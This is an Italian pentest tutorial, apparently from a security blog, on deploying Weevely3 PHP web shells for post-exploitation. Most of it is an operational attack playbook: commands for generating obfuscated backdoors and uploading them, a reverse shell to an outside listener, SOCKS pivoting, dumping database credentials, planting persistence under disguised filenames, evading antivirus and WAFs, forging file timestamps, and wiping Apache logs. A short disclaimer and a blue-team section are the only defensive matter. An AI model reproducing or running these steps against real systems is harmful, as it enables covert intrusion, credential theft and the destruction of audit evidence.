Weevely3: Web Shell PHP Stealth per Post-Exploitation e Pivoting

Weevely3: guida operativa per generare e gestire web shell PHP stealth nel penetration testing. Tunneling, evasion e post-exploitation.
- Pubblicato il 2026-02-07
- Tempo di lettura: 7 min
Weevely3: Web Shell PHP Stealth per Post-Exploitation e Pivoting #
Introduzione #
Una web shell è il punto d’appoggio dopo aver compromesso un’applicazione web. Weevely3 porta questo concetto a un livello operativo superiore: genera backdoor PHP offuscate, le gestisce tramite un client interattivo e offre oltre 30 moduli integrati per post-exploitation — dal file management al port scanning, dal dump database al tunneling di rete.
A differenza di una semplice <?php system($_GET['cmd']); ?>, Weevely produce shell che eludono la maggior parte dei WAF e degli scanner antivirus. La comunicazione tra client e backdoor avviene su HTTP/HTTPS con payload offuscati in cookie e header, rendendo il traffico difficile da distinguere da richieste web legittime.
Nella kill chain, Weevely opera tra Initial Access e Command & Control (MITRE ATT&CK T1505.003). Questo articolo copre dalla generazione della shell fino a scenari complessi di post-exploitation su server LAMP e ambienti cloud.
Setup e Installazione #
Weevely3 è preinstallato su Kali Linux. Per installazione manuale:
git clone https://github.com/epinna/weevely3.git
cd weevely3
pip install -r requirements.txt --break-system-packagesVerifica:
python3 weevely.py --helpOutput:
weevely 4.0.1
Usage: weevely.py generate <password> <path>
weevely.py <URL> <password> [cmd]Requisiti:
- Python 3.x sull’attacker box
- PHP 5.x/7.x/8.x sul server target
- Possibilità di caricare un file PHP sul target (upload form, file inclusion, CMS vulnerability)
Uso Base #
Generazione della backdoor #
python3 weevely.py generate s3cr3tP@ss /home/claude/shell.phpOutput:
Generated backdoor with password 's3cr3tP@ss' in '/home/claude/shell.php' of 724 bytes.Il file generato pesa meno di 1KB ed è offuscato. Aprilo e vedrai codice PHP apparentemente innocuo — variabili con nomi randomici, stringhe concatenate, nessun system() o exec() in chiaro.
Upload della backdoor #
Carica shell.php sul target attraverso il vettore disponibile (upload form, LFI to RCE, CMS exploit, FTP). Il path finale potrebbe essere:
http://target.com/uploads/shell.phpConnessione alla backdoor #
python3 weevely.py http://target.com/uploads/shell.php s3cr3tP@ssOutput:
[+] weevely 4.0.1
[+] Target: target.com
[+] Session: /root/.weevely/sessions/target.com/shell_0.session
www-data@target:/var/www/html/uploads $Hai una shell interattiva. Puoi eseguire comandi come su una SSH:
www-data@target $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target $ uname -a
Linux target 5.15.0-91-generic #101-Ubuntu SMP x86_64Tecniche Operative #
Moduli integrati — I più utili #
Weevely ha un sistema di moduli. Listali con:
www-data@target $ :helpI moduli critici per il pentest:
File management:
www-data@target $ :file_download /etc/passwd /tmp/passwd.txt
www-data@target $ :file_upload /tmp/linpeas.sh /var/www/html/uploads/linpeas.shEnumerazione sistema:
www-data@target $ :system_infoOutput:
+------------------+----------------------------------------+
| hostname | target |
| kernel | 5.15.0-91-generic |
| architecture | x86_64 |
| os | Ubuntu 22.04.3 LTS |
| php_version | 8.1.2 |
| document_root | /var/www/html |
| safe_mode | Off |
| disabled_funcs | pcntl_exec |
+------------------+----------------------------------------+Dump database MySQL:
www-data@target $ :sql_console -u root -p dbpassword
root@localhost SQL> SELECT user,authentication_string FROM mysql.user;Port scanning dalla macchina target:
www-data@target $ :net_scan 172.16.0.1-172.16.0.50 22,80,443,3306Output:
172.16.0.1:22 open
172.16.0.5:80 open
172.16.0.5:3306 open
172.16.0.10:443 openEnumerazione della rete interna direttamente dalla web shell, senza caricare tool aggiuntivi.
Reverse shell upgrade #
Weevely è comoda ma limitata. Per ottenere una reverse shell completa:
www-data@target $ :backdoor_reversetcp 10.10.14.22 4444Sul tuo listener:
nc -lvnp 4444Ricevi una shell TCP classica per operazioni che richiedono interattività piena (es. compilazione exploit, esecuzione binari).
Tecniche Avanzate #
Tunneling HTTP per pivoting #
Weevely può creare un tunnel TCP attraverso la connessione HTTP alla backdoor:
www-data@target $ :net_proxy 1080Questo crea un SOCKS proxy sulla porta locale 1080 del tuo attacker box, passando attraverso la web shell. Il traffico è incapsulato nelle richieste HTTP verso shell.php.
Ora puoi usare ProxyChains per raggiungere la rete interna:
proxychains4 nmap -sT -Pn 172.16.0.0/24Tutto il traffico transita via HTTP — nessuna connessione SSH necessaria.
Persistenza con backdoor multipla #
Genera una seconda backdoor con password diversa e posizionala in un path meno ovvio:
python3 weevely.py generate b@ckupK3y /home/claude/error_handler.phpUpload in:
/var/www/html/includes/error_handler.phpNome file legittimo, directory che non viene controllata spesso. Se la prima shell viene scoperta e rimossa, hai un backup.
Evasion: generazione con template custom #
Weevely supporta template PHP personalizzati per evadere signature-based detection:
python3 weevely.py generate -obfuscator cleartext1_php s3cr3tP@ss /home/claude/stealth.phpL’opzione -obfuscator cambia il pattern di offuscamento. Alterna tra i template disponibili per ogni ingaggio.
Bypass disable_functions #
Se PHP ha funzioni di sistema disabilitate (system, exec, passthru), Weevely prova automaticamente alternative:
www-data@target $ :shell_phpSe le funzioni di sistema sono tutte bloccate, Weevely usa mail() con flag -X per scrivere file o putenv() + error_log() per esecuzione indiretta. Il tool tenta in automatico — devi solo verificare che almeno una via sia aperta.
Scenari Pratici di Pentest #
Scenario 1: CMS WordPress compromesso — Post-exploitation completa #
Upload della shell via un plugin vulnerabile:
python3 weevely.py generate w0rdpr3ss /home/claude/wp-cache.php
# Upload tramite exploit
python3 weevely.py http://target.com/wp-content/uploads/wp-cache.php w0rdpr3ssOutput atteso: shell interattiva come www-data.
Cosa fare se fallisce:
403 Forbiddensul path della shell → Il server blocca esecuzione PHP nella directory uploads. Cerca una directory alternativa:/wp-includes/,/wp-content/themes/twentytwentythree/.- Connessione stabilita ma comandi non restituiscono output →
disabled_functionsmolto restrittivo. Prova:shell_phpper passare a esecuzione PHP pura.
Timeline: Generazione shell 2 secondi. Upload 30 secondi. Connessione 3 secondi. Enumerazione completa 10 minuti.
Scenario 2: Server LAMP con database esposto — Dump credenziali #
www-data@target $ cat /var/www/html/config.php
# Trovi: $db_pass = 'r00tDB_2025';
www-data@target $ :sql_console -u root -p r00tDB_2025
root@localhost SQL> SELECT user_login,user_pass FROM wp_users;Output atteso:
+-------------+------------------------------------+
| user_login | user_pass |
+-------------+------------------------------------+
| admin | $P$BgH8f2vGHkwJH7kM3HjL.8ZwKjFq. |
| editor | $P$B5aK2cL7zR9xM1nD4gF3hJ8kL0pQ. |
+-------------+------------------------------------+Cosa fare se fallisce:
- MySQL non accessibile → Credenziali errate o socket diverso. Prova:
:sql_console -u root -p r00tDB_2025 -host 127.0.0.1. - Errore
Can't connect to local MySQL server through socket→ Il socket è in un path non standard: trova confind / -name mysql.sock 2>/dev/null.
Timeline: Lettura config 5 secondi. Dump tabella 10 secondi.
Scenario 3: Ambiente cloud con container PHP — Pivoting verso servizi interni #
www-data@target $ :net_scan 10.0.0.1-10.0.0.50 6379,27017,5432,9200Output atteso:
10.0.0.3:6379 open (Redis)
10.0.0.7:27017 open (MongoDB)
10.0.0.12:9200 open (Elasticsearch)Cosa fare se fallisce:
- Scan lento o timeout → Riduci il range. Prova prima con host singoli:
:net_scan 10.0.0.3 6379. - Nessuna porta aperta → Il container potrebbe essere isolato a livello di rete. Verifica routing:
ip route show.
Timeline: Scan su 50 host, 4 porte: 2-5 minuti.
Toolchain Integration #
Weevely si colloca come primo punto d’appoggio dopo una vulnerabilità web.
Flusso operativo:
Gobuster/Dirsearch (directory discovery) → Exploit web (upload/LFI/RCE) → Weevely3 (C2 via HTTP) → Enumerazione interna → Lateral Movement
La connessione HTTP di Weevely è ideale quando SSH non è disponibile e non vuoi caricare binari pesanti sul server. Se il target ha solo porta 80/443 aperta verso l’esterno, Weevely è l’unica via di C2 stabile.
Passaggio dati:
# Gobuster trova un upload form
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt
# Output: /upload (Status: 200)
# Carica la shell Weevely
curl -F "file=@shell.php" http://target.com/upload
# Connettiti
python3 weevely.py http://target.com/uploads/shell.php s3cr3tP@ss
# Dall'interno, usa Weevely per scansionare
www-data@target $ :net_scan 172.16.0.0/24 22,445,3389| Scenario | Weevely3 | China Chopper | p0wny-shell | Reverse shell classica |
|---|---|---|---|---|
| Stealth traffico | ★★★★ | ★★☆☆ | ★☆☆☆ | ★★☆☆ |
| Moduli post-exploitation | 30+ | Limitati | 0 | 0 |
| Tunneling integrato | Sì | No | No | No |
| Size backdoor | ~700B | ~4KB | ~10KB | N/A |
| Evasion AV/WAF | ★★★★ | ★★☆☆ | ★☆☆☆ | ★★★☆ |
| Interattività | Media | Alta (GUI) | Alta | Alta |
Attack Chain Completa #
Obiettivo: Accesso al database di produzione di un e-commerce tramite web shell.
Fase 1 — Recon (25 min)
Scansione con Masscan per porte aperte, poi directory bruteforce con Gobuster. Trovi un pannello admin con upload file.
Fase 2 — Initial Access (10 min)
Upload della shell Weevely tramite l’upload form. La shell finisce in /var/www/html/media/shell.php.
Fase 3 — Post-Exploitation locale (15 min)
www-data@target $ :system_info
www-data@target $ cat /var/www/html/.env
# DB_HOST=rds-prod.amazonaws.com
# DB_USER=ecommerce_admin
# DB_PASS=Pr0d_DB!2025Credenziali del database di produzione nel file .env.
Fase 4 — Accesso database (5 min)
www-data@target $ :sql_console -u ecommerce_admin -p 'Pr0d_DB!2025' -host rds-prod.amazonaws.com
SQL> SELECT COUNT(*) FROM orders;
# 847,293 recordsFase 5 — Pivoting verso rete interna (20 min)
www-data@target $ :net_proxy 1080Dal tuo box, con ProxyChains, raggiungi i servizi interni dell’infrastruttura cloud.
Timeline totale: ~75 minuti.
Detection & Evasion #
Cosa monitora il Blue Team #
- File PHP nuovi nelle directory web (monitoring filesystem con inotify/auditd)
- Richieste HTTP POST ripetute verso lo stesso file PHP con payload in cookie/header
- Processi PHP che eseguono comandi di sistema (
ps auxmostrash -cspawned daphp-fpm) - ModSecurity o WAF che analizza payload nelle richieste
Log rilevanti #
- Apache/Nginx access log → richieste POST anomale verso il file backdoor
- ModSecurity audit log → se il WAF cattura il payload (raro con Weevely)
- Linux audit log →
execvesyscall da processiwww-data - PHP error log → errori generati durante l’esecuzione di moduli
Tecniche di evasion #
- Naming legittimo: chiama la shell
wp-cron-handler.phpocache-purge.php. Nomi che sembrano funzionalità CMS. - Timestamp manipulation: modifica il timestamp del file per farlo sembrare vecchio:
touch -t 202301150830 /var/www/html/uploads/shell.php- HTTPS-only: se il target ha SSL, connettiti solo via HTTPS. Il traffico è cifrato end-to-end — anche un IDS inline non vede il contenuto.
Cleanup #
www-data@target $ :file_rm /var/www/html/uploads/shell.phpOppure dal server:
rm -f /var/www/html/uploads/shell.php
# Pulisci i log
sed -i '/shell.php/d' /var/log/apache2/access.logPerformance & Scaling #
Single target: la connessione Weevely è leggera — ogni comando è una singola richiesta HTTP. Latenza tipica: 100-500ms per comando, dipendente dalla rete.
Operazioni pesanti: download/upload di file grandi (>50MB) sono lenti attraverso la web shell HTTP. Per trasferimenti pesanti, converti a una connessione diretta con :backdoor_reversetcp.
Multi-target: Weevely gestisce una sessione per target. Per operare su più shell contemporaneamente, usa terminali separati o tmux con una sessione Weevely per pane.
Sessioni persistenti: Weevely salva le sessioni in ~/.weevely/sessions/. Puoi riconnetterti senza reinserire URL e password:
python3 weevely.py session /root/.weevely/sessions/target.com/shell_0.sessionTabelle Tecniche #
Command Reference — Moduli principali #
| Modulo | Descrizione |
|---|---|
:system_info | Info sistema complete |
:file_download src dst | Download file dal target |
:file_upload src dst | Upload file sul target |
:sql_console | Console SQL interattiva |
:net_scan | Port scanner dalla shell |
:net_proxy | SOCKS proxy via HTTP tunnel |
:backdoor_reversetcp | Reverse shell TCP |
:shell_php | Esecuzione PHP diretta |
:file_rm | Rimuovi file |
:bruteforce_sql | Bruteforce credenziali DB |
:audit_suidsgid | Trova binari SUID/SGID |
Confronto web shell #
| Feature | Weevely3 | China Chopper | p0wny-shell | b374k |
|---|---|---|---|---|
| Offuscamento | Avanzato | Base | Nessuno | Base |
| Size | ~700 bytes | ~4KB | ~10KB | ~30KB |
| Moduli integrati | 30+ | 5-10 | 0 | 10+ |
| Tunneling | Sì | No | No | No |
| Client dedicato | Sì (Python) | Sì (GUI) | Browser | Browser |
| Detection rate VT | ~5/60 | ~40/60 | ~35/60 | ~45/60 |
Troubleshooting #
| Problema | Causa | Fix |
|---|---|---|
| Connessione timeout | URL errato o shell rimossa | Verifica che il file esista: curl -s URL |
Password mismatch | Password errata o shell corrotta | Rigenera e ricarica la shell |
| Comandi non restituiscono output | disable_functions blocca tutto | Usa :shell_php per codice PHP puro |
| Upload fallisce | Directory non scrivibile | Trova dir scrivibile: find /var/www -writable -type d |
Modulo :sql_console errore | Driver MySQL mancante in PHP | Verifica: php -m | grep mysql |
| Sessione lenta | Rete lenta o WAF rate limiting | Riduci frequenza comandi, usa HTTPS |
FAQ #
Weevely funziona con PHP 8? Sì. Weevely3 supporta PHP 5.x, 7.x e 8.x. Alcune funzionalità specifiche potrebbero richiedere adattamenti su versioni recenti.
Il traffico è rilevabile da un IDS? Weevely offusca il payload in cookie e header HTTP. Su HTTPS, il contenuto è cifrato. Un IDS basato su signature ha probabilità molto basse di detection.
Posso usare Weevely su server Windows con PHP? Sì, ma i moduli specifici Linux (SUID, cron) non funzioneranno. I moduli file, SQL e network sono cross-platform.
Come aggiorno Weevely?
cd weevely3 && git pull. I moduli si aggiornano con il repository.
Weevely è rilevato da antivirus sul target?
La shell generata ha un detection rate basso (~5/60 su VirusTotal). Per ambienti protetti, usa template custom con -obfuscator.
Cheat Sheet #
| Azione | Comando |
|---|---|
| Genera backdoor | python3 weevely.py generate password /path/shell.php |
| Connetti | python3 weevely.py http://target/shell.php password |
| Info sistema | :system_info |
| Download file | :file_download /etc/passwd ./passwd |
| Upload file | :file_upload ./linpeas.sh /tmp/linpeas.sh |
| Console SQL | :sql_console -u root -p pass |
| Port scan | :net_scan 172.16.0.0/24 22,80,445 |
| SOCKS proxy | :net_proxy 1080 |
| Reverse shell | :backdoor_reversetcp 10.10.14.22 4444 |
| Trova SUID | :audit_suidsgid |
| Rimuovi shell | :file_rm /path/shell.php |
Disclaimer: Weevely3 è un tool per penetration test autorizzati e ricerca di sicurezza. L’installazione di backdoor su sistemi senza autorizzazione è un reato penale grave. Repository: github.com/epinna/weevely3.
Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.







